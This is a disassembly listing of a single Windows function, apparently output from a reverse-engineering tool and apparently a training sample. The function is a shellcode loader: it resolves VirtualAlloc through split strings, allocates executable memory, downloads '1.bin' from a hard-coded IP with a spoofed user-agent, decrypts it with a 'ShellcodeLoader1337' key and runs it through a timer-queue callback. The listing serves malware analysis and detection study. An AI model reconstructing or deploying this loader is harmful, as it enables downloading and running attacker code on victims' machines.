Function at 0x140002ccf
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
jmp 0x1400087f0
push rbp
push rsi
push rdi
sub rsp, 0x290
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x64
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1400b2035]
call fcn.14000424b
mov dword [rbp + 4], 0x493e0
lea rax, [rbp + 0x28]
lea rcx, str.VirtualAll
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x33]
mov rdi, rax
xor eax, eax
mov ecx, 0x27
rep stosb byte [rdi], al
lea rdx, str.ocEx
lea rcx, [rbp + 0x28]
call fcn.140002b8a
mov qword [rbp + 0x248], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rbp + 0x248]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x78], rax
mov eax, dword [rbp + 4]
mov qword [rbp + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, qword [rbp + 0x248]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [rbp + 0x78]
mov qword [rbp + 0x98], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_6.2__WOW64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_27.0.1453.94_Safari_537.36
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0xd8], rax
xor r9d, r9d
mov r8w, 0x6db0
lea rdx, str.101.42.14.53
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0xf8], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._1.bin
lea rdx, [0x140089818]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x118], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea r9, [rbp + 0xb4]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea r8, str.Reversing.ID_ShellcodeLoader1337
mov edx, dword [rbp + 4]
mov rcx, qword [rbp + 0x98]
call fcn.1400014ec
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov qword [rbp + 0x158], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbp + 0x178], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x64
xor r9d, r9d
mov r8, qword [rbp + 0x98]
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x40]
lea rdx, [0x1400891f0]
call fcn.14000392c
lea rsp, [rbp + 0x250]
pop rdi
pop rsi
pop rbp
ret